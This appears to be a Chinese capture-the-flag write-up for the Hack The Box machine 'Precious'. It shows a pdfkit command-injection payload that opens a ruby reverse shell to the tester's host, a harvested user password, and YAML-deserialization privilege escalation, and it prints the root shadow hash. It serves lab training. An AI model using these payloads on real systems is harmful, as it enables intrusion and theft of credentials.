基本信息
端口扫描
22和80:
1 | nmap -sC -sV -Pn 10.10.11.189 |
80
需要加hosts:
1 | 10.10.11.189 precious.htb |
输入URL转换成PDF:
pdfkit
测试pdf转换,发现使用pdfkit v0.8.6:
搜到相关漏洞:
- Command Injection in pdfkit | CVE-2022-25765 | Snyk
https://security.snyk.io/vuln/SNYK-RUBY-PDFKIT-2869795
reverse shell
打到ruby shell:
1 | http://10.10.14.10:7777/?name=#{'%20`ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("10.10.14.10",4444))'`'} |
信息
bundle config中得到henry用户密码:
1 | henry:Q3c1AqGHtoI0aXAYFH |
user flag
henry用户ssh登录,得到user flag:
提权信息
sudo -l 发现一个ruby脚本,调用yaml,找到原本的yaml文件确认yaml库版本:
yaml
yaml反序列化:
- Blind Remote Code Execution through YAML Deserialization
https://blog.stratumsecurity.com/2021/06/09/blind-remote-code-execution-through-yaml-deserialization/
提权 & root flag
构造一个恶意yml文件,调用ruby脚本触发命令执行:
dependencies.yml
1 |
|
shadow
1 | root:$y$j9T$a.ggVdbxv0sDezKDImKn91$BB2mMoZ0UwInxNcXuyDALhr4li59AHfVw5DuV0d5Ww1:19284:0:99999:7::: |
参考资料
- Command Injection in pdfkit | CVE-2022-25765 | Snyk
https://security.snyk.io/vuln/SNYK-RUBY-PDFKIT-2869795 - Blind Remote Code Execution through YAML Deserialization
https://blog.stratumsecurity.com/2021/06/09/blind-remote-code-execution-through-yaml-deserialization/ - Precious - HTB [Discussion] | BreachForums
https://breached.vc/Thread-Precious-HTB-Discussion - HTB - Precious [Easy] // meowmeowattack
https://meowmeowattack.github.io/htb/precious/